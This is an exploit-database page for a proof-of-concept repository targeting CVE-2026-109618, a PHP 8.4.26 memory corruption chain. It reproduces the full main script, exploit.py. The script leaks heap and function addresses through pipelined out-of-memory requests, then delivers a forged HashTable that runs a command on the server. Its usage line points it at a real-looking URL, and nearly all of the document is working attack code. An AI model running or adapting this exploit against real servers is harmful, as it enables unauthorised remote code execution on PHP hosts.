Exploit database

GH-293bdf46c35b1edd035370df3bfb8cde

djad04/php2shell-deep-dive

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

412 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files8
djad04/php2shell-deep-diveRevision cf5dc0e82f73

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/exploit.py

Suggested starting filePython · 8,046 bytes
#!/usr/bin/env python3
"""PHP2Shell PoC — PHP 8.4.26 Alpine memory corruption chain.

    python exploit.py --url https://old.stealmybitcoin.com/php-version.php

    may need multiple attempts due to worker roulette.
"""

from __future__ import annotations

import argparse
import datetime as dt
import http.client
import json
import re
import secrets
import sys
from pathlib import Path

from calibration import (
    PHP_VERSION, MAX_RESPONSE_BYTES, CONSUMERS, COOKIE_PAIRS,
    ORDINARY_COOKIE_BYTES, FINAL_BOUNDARY, COOKIE_BOUNDARY
)
from http_framing import (
    parse_target, sha256, http_frame, final_http_frame,
    RecordingReader, SharedSocket, receive, Target
)
from memory_exhaustion import build_producer
from consumers import STAGES, Stage
from hashtable_forge import callback_multipart
from command import build_command


def execute_leak(target: Target, stage: Stage, outdir: Path) -> tuple[int, dict]:
    """Pipeline one OOM producer followed by consumers on a single connection."""
    prod_body = build_producer(stage.producer)
    cons_body = stage.build_consumer()

    payload = http_frame(target, prod_body, COOKIE_BOUNDARY,
                         cookie_pairs=COOKIE_PAIRS, close=False)
    payload += b"".join(http_frame(target, cons_body, COOKIE_BOUNDARY,
                                   close=idx == CONSUMERS - 1)
                        for idx in range(CONSUMERS))
    (outdir / f"{stage.name}.request.http").write_bytes(payload)

    replies: list[dict] = []
    found: set[int] = set()
    raw = b""
    try:
        with target.connect() as sock:
            bio = sock.makefile("rb")
            recorder = RecordingReader(bio)
            try:
                sock.sendall(payload)
                shared = SharedSocket(recorder)
                for _ in range(CONSUMERS + 1):
                    rec, cookie, _body = receive(shared)
                    replies.append(rec)
                    addr = stage.read_candidate(cookie)
                    if addr is not None:
                        found.add(addr)
            finally:
                raw = b"".join(recorder.chunks)
                bio.close()
    finally:
        (outdir / f"{stage.name}.response.http").write_bytes(raw)

    summary = {"stage": stage.name,
               "producer": replies[0] if replies else None,
               "consumers": replies[1:],
               "addresses": [hex(a) for a in sorted(found)],
               "req_hash": sha256(payload),
               "resp_hash": sha256(raw)}
    (outdir / f"{stage.name}.json").write_text(json.dumps(summary, indent=2) + "\n")

    if len(replies) != CONSUMERS + 1:
        raise RuntimeError(f"{stage.name}: incomplete response batch")
    prod_rec = replies[0]
    if (prod_rec["status"] != 200
            or prod_rec["powered_by"] != PHP_VERSION
            or prod_rec["oom"] is not True):
        raise RuntimeError(f"{stage.name}: producer did not trigger OOM correctly")

    expected_sizes = (ORDINARY_COOKIE_BYTES, stage.leak_cookie_bytes)
    for n, cons_rec in enumerate(replies[1:], 1):
        if (cons_rec["status"] != 200
                or cons_rec["powered_by"] != PHP_VERSION
                or cons_rec["cookie_bytes"] not in expected_sizes):
            raise RuntimeError(f"{stage.name}: consumer {n} returned unexpected cookie")
    if len(found) != 1:
        raise RuntimeError(
            f"{stage.name}: expected exactly one address, got {len(found)}")
    return found.pop(), summary


def execute_callback(target: Target, heap_base: int, dtor_addr: int,
                     nonce: str, outdir: Path) -> dict:
    """Deliver the forged HashTable and capture the command output."""
    cmd = build_command(nonce)
    body = callback_multipart(heap_base, dtor_addr, cmd)
    payload = final_http_frame(target, body, FINAL_BOUNDARY)
    (outdir / "callback.request.http").write_bytes(payload)

    raw = b""
    resp_body = b""
    status = None
    hdrs: list[tuple[str, str]] = []
    partial = False
    try:
        with target.connect() as sock:
            bio = sock.makefile("rb")
            recorder = RecordingReader(bio)
            try:
                sock.sendall(payload)
                resp = http.client.HTTPResponse(SharedSocket(recorder))
                resp.begin()
                status = resp.status
                hdrs = resp.getheaders()
                try:
                    resp_body = resp.read(MAX_RESPONSE_BYTES)
                except http.client.IncompleteRead as exc:
                    resp_body = exc.partial
                    partial = True
            finally:
                raw = b"".join(recorder.chunks)
                bio.close()
    finally:
        (outdir / "callback.response.http").write_bytes(raw)
    (outdir / "callback.body").write_bytes(resp_body)
    (outdir / "callback.headers.json").write_text(
        json.dumps({"status": status, "headers": hdrs}, indent=2) + "\n")

    has_nonce = nonce.encode() in resp_body
    has_uid = re.search(rb"\buid=\d+", resp_body) is not None
    has_hash = re.search(
        rb"\b[0-9a-f]{64}\s+\S*print-flag\b", resp_body) is not None
    too_big = len(resp_body) >= MAX_RESPONSE_BYTES

    report = {"status": status,
              "nonce_seen": has_nonce,
              "uid_seen": has_uid,
              "hash_seen": has_hash,
              "incomplete": partial or too_big,
              "verified": bool(
                  status == 200 and has_nonce and has_uid and has_hash
                  and not partial and not too_big),
              "req_bytes": len(payload), "req_hash": sha256(payload),
              "resp_bytes": len(raw), "resp_hash": sha256(raw),
              "body_bytes": len(resp_body),
              "body_hash": sha256(resp_body),
              "output": str(outdir / "callback.response.http")}
    (outdir / "callback.json").write_text(json.dumps(report, indent=2) + "\n")
    return report


def main() -> int:
    """Run one attempt: two leak stages then one callback."""
    ap = argparse.ArgumentParser(
        description=__doc__,
        formatter_class=argparse.RawDescriptionHelpFormatter)
    ap.add_argument("--url", help="Target endpoint URL")
    ap.add_argument("--output-dir", type=Path,
                    help="Directory for captured HTTP traffic and metadata")
    args = ap.parse_args()
    if not args.url:
        ap.print_help()
        return 0

    try:
        target = parse_target(args.url)
    except ValueError as exc:
        print(f"[!] {exc}", file=sys.stderr, flush=True)
        return 1

    stamp = dt.datetime.now(dt.UTC).strftime("%Y%m%dT%H%M%S%fZ")
    outdir = args.output_dir or Path(f"run-{stamp}")
    outdir.mkdir(parents=True, exist_ok=True)

    run_info: dict = {"url": args.url,
                      "started": dt.datetime.now(dt.UTC).isoformat(),
                      "stages": ["heap", "code", "callback"],
                      "consumers": CONSUMERS,
                      "output": str(outdir)}
    try:
        heap_base, run_info["heap"] = execute_leak(target, STAGES["heap"], outdir)
        print(f"[+] heap base: {heap_base:#x}", flush=True)

        dtor_addr, run_info["code"] = execute_leak(target, STAGES["code"], outdir)
        print(f"[+] zval_ptr_dtor: {dtor_addr:#x}", flush=True)

        nonce = secrets.token_hex(8)
        cb = execute_callback(target, heap_base, dtor_addr, nonce, outdir)
        run_info["callback"] = cb
        print(json.dumps({"stage": "callback", "nonce": nonce,
                          "verified": cb["verified"],
                          "output": cb["output"]}), flush=True)
        return 0 if cb["verified"] else 1
    except Exception as exc:
        run_info["error"] = f"{type(exc).__name__}: {exc}"
        print(f"[!] {run_info['error']}", file=sys.stderr, flush=True)
        return 1
    finally:
        run_info["finished"] = dt.datetime.now(dt.UTC).isoformat()
        (outdir / "run.json").write_text(json.dumps(run_info, indent=2) + "\n")


if __name__ == "__main__":
    raise SystemExit(main())